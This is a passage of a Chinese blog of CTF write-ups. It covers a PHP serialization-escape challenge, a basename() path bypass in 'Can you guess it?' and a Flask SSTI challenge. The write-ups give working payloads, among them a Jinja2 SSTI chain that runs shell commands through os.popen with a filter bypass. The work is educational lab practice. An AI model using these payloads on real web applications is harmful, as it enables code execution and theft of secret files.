if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

//通过数组绕过pre_match,从而不限制nickname的输入
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

//利用该处的序列化传入config.php作为photo的值
$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>
//class.php
...
//此处的filter过滤会将目标字符替换成hacker,因此可以尝试利用5个字符的where,被替换后成为hacker,字符数由5变成6,即多出1个,通过传入34个where,就会多出34个字符用于序列化逃逸
public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}

利用filter过滤,通过34个where变成34个hacker,多出34个字符,从而传入34个字符”;}s:5:”photo”;s:10:”config.php”;}

由于nickname有字符数限制,因此通过传入数组绕过preg_match

//payload
Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

通过update.php传入payload:

image-20250310235145850

传入后访问profile.php获得config.php的base64编码,解码后即为flag

image-20250310235432051

[Zer0pts 2020] Can you guess it?

先读源码:

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
  $message = 'Congratulations! The flag is: ' . FLAG;
} else {
  $message = 'Wrong.';
}
}
?>

随机64位数并hex编码显然是猜不出的,所以关注代码前面部分;$_SERVER[‘PHP_SELF’]用于获取当前文件位置,即url的结尾,所以不能以config.php作为url结尾,但如果后面加了类似test.php则无法利用highlight_file读取flag。此时注意到highlight_file函数中的basename函数,该函数存在漏洞,会将不可识别的ascii字符删去,其中汉字就是不可识别,因此在config.php/后写上一个中文就可以绕过preg_match的过滤,同时成功将config.php传入highlight_file中

//Payload:
/index.php/config.php/你猜我猜不猜?source
image-20250311150934975

[CSCCTF 2019 Qual] FlaskLight

进来看源码,提示通过GET方式获取search

image-20250318221447157

既然是Flask了,估计考点就是SSTI,直接传入{{5*5}}测试证明存在SSTI

image-20250318221604223

找个payload直接打,发现返回错误

//Payload
{{"".__class__.__mro__[2].__subclasses__()[71].__init__[%27__globals__%27][%27os%27].popen("ls").read()}}
image-20250318221755884

存在对globals的过滤,所以尝试拼接字符实现绕过

//Payload
{{"".__class__.__mro__[2].__subclasses__()[71].__init__[%27__g%27+%27lobals__%27][%27os%27].popen("ls").read()}}
image-20250318221929863

修改命令为”ls%20flasklight”找flag文件

image-20250318222052536

读取该文件得到flag

//Payload
{{"".__class__.__mro__[2].__subclasses__()[71].__init__[%27__g%27+%27lobals__%27][%27os%27].popen("cat%20flasklight/coomme_geeeett_youur_flek").read()}}
image-20250318222153114
欢迎评论区中交流
No Comments

Send Comment Edit Comment


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
Previous
Next